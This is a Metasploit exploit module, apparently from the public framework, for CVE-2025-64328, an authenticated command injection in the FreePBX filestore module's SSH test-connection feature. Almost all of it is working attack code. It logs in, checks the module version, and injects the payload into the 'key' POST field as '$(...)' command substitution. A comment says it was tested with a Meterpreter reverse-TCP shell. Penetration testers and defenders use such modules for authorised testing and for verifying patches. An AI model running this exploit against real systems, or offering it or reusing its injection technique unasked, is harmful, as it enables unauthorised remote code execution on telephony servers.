## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::FreePBX prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'FreePBX filestore authenticated command injection', 'Description' => %q{ This module exploits an authenticated command injection vulnerability (CVE-2025-64328) in the FreePBX filestore module. The filestore module allows administrators to configure remote file storage backends (SSH, FTP, etc.) for backup and file management purposes. The vulnerability exists in the SSH driver's testconnection functionality, specifically in the check_ssh_connect() function located at /admin/modules/filestore/drivers/SSH/testconnection.php. The function accepts user-controlled input for the SSH key path parameter, which is then passed unsanitized to exec() calls when generating SSH keys. The vulnerable code executes commands such as: exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" && chown asterisk:asterisk $key && chmod 600 $key"); By injecting shell command substitution syntax (e.g., $(command)) into the key parameter, an authenticated user can execute arbitrary commands on the underlying system with the privileges of the web server process (typically the asterisk user). This vulnerability affects filestore module versions 17.0.2.36 through 17.0.2.44 (introduced in 17.0.2.36, patched in 17.0.3). The module requires valid FreePBX credentials for a user account that has access to the filestore module. The user must be in the "Filestore" group (administrator or low-privilege user). Note: Due to the vulnerable code structure, the injected command may be executed multiple times, potentially resulting in multiple Meterpreter sessions. }, 'License' => MSF_LICENSE, 'Author' => [ 'Cory Billington', # Vulnerability discovery 'Valentin Lobstein ' # Metasploit module ], 'References' => [ ['CVE', '2025-64328'], ['GHSA', 'vm9p-46mv-5xvw', 'FreePBX/security-reporting'], ['URL', 'https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection/'] ], 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Unix Command', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ] ], 'Privileged' => false, 'DisclosureDate' => '2025-11-08', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('TARGETURI', [false, 'The URI for the FreePBX installation', '/']), OptString.new('USERNAME', [true, 'FreePBX username (must be in the "Filestore" group)', 'admin']), OptString.new('PASSWORD', [true, 'FreePBX admin password', '']) ] ) end class AuthenticationError < StandardError; end class ConnectionError < StandardError; end def check data = freepbx_get_login_page_data unless data[:detected] vprint_status('Target does not appear to be FreePBX') return CheckCode::Safe('Not FreePBX') end begin cookie = authenticate rescue AuthenticationError return CheckCode::Detected('Invalid credentials') rescue ConnectionError return CheckCode::Safe('Not FreePBX') end version = get_filestore_version_cached(cookie) return CheckCode::Detected('Filestore module version could not be determined') unless version version_obj = Rex::Version.new(version) return CheckCode::Safe("Filestore module patched (version #{version})") if version_obj >= Rex::Version.new('17.0.3') return CheckCode::Safe("Filestore module version #{version} not vulnerable") if version_obj < Rex::Version.new('17.0.2.36') CheckCode::Appears("Filestore module vulnerable (version #{version})") end def exploit cookie = authenticate get_filestore_version_cached(cookie) execute_command(payload.encoded, cookie) rescue AuthenticationError fail_with(Failure::NoAccess, 'Invalid credentials') rescue ConnectionError fail_with(Failure::Unknown, 'Connection error') end def authenticate data = freepbx_get_login_page_data raise ConnectionError, 'Target does not appear to be FreePBX' unless data[:detected] cookie = freepbx_login(datastore['USERNAME'], datastore['PASSWORD']) raise AuthenticationError, 'Invalid credentials' if cookie == :auth_failed raise ConnectionError, 'Connection error' if cookie.nil? cookie end def get_filestore_version_cached(cookie) return @filestore_version if @filestore_version res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'), 'cookie' => cookie, 'headers' => { 'Referer' => freepbx_referer }, 'vars_get' => { 'display' => 'filestore' } ) return nil unless res&.code == 200 match = res.body.match(/filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/) return nil unless match version = match[1] vprint_status("Filestore module version: #{version}") @filestore_version = version version end def execute_command(cmd, cookie) fail_with(Failure::BadConfig, 'Missing authentication cookie') unless cookie send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), 'cookie' => cookie, 'headers' => { 'Referer' => freepbx_referer }, 'vars_get' => { 'module' => 'filestore', 'command' => 'testconnection', 'driver' => 'SSH' }, 'vars_post' => { 'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}", 'port' => rand(1024..65535).to_s, 'user' => Rex::Text.rand_text_alphanumeric(8), 'key' => "$(#{cmd})", 'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}" } ) end end